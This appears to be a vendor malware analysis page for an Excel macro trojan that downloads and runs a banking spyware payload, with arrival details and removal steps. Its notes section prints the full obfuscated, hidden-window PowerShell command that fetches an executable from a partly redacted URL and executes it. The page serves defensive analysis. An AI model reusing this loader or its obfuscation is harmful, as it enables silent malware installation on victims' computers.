Analysis by: Byron Jon Gelera
ALIASES:

TrojanDownloader:W97M/Adnel (Microsoft); VBA/TrojanDownloader.Agent.GZE trojan (NOD32)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 67,072 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 07 Mar 2018
Payload: Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}rama.com/hope

It saves the files it downloads using the following names:

  • %Desktop%\{Random numbers}.exe

(Note: %Desktop% is the desktop folder, where it usually is C:\Documents and Settings\{user name}\Desktop in Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\Desktop in Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

  • TSPY_BEBLOH.YMNOV

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

NOTES:

This Trojan uses the following Powershell commands to download and execute a malicious file: pOWErSheLl -nopRoFi -WIn hiDdeN -NOLo -NOnInteRA -eXeCUTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gETfoLDERpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\"http://{BLOCKED}rama.com/hope\",\"$Des\5307885.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\5307885.exe

The Microsoft Excel file contains the following fake details luring users to enable macro content:

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.112.04
FIRST VSAPI PATTERN DATE: 06 Mar 2018
VSAPI OPR PATTERN File: 14.113.00
VSAPI OPR PATTERN Date: 07 Mar 2018

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Desktop%\{Random numbers}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.TIAOEGM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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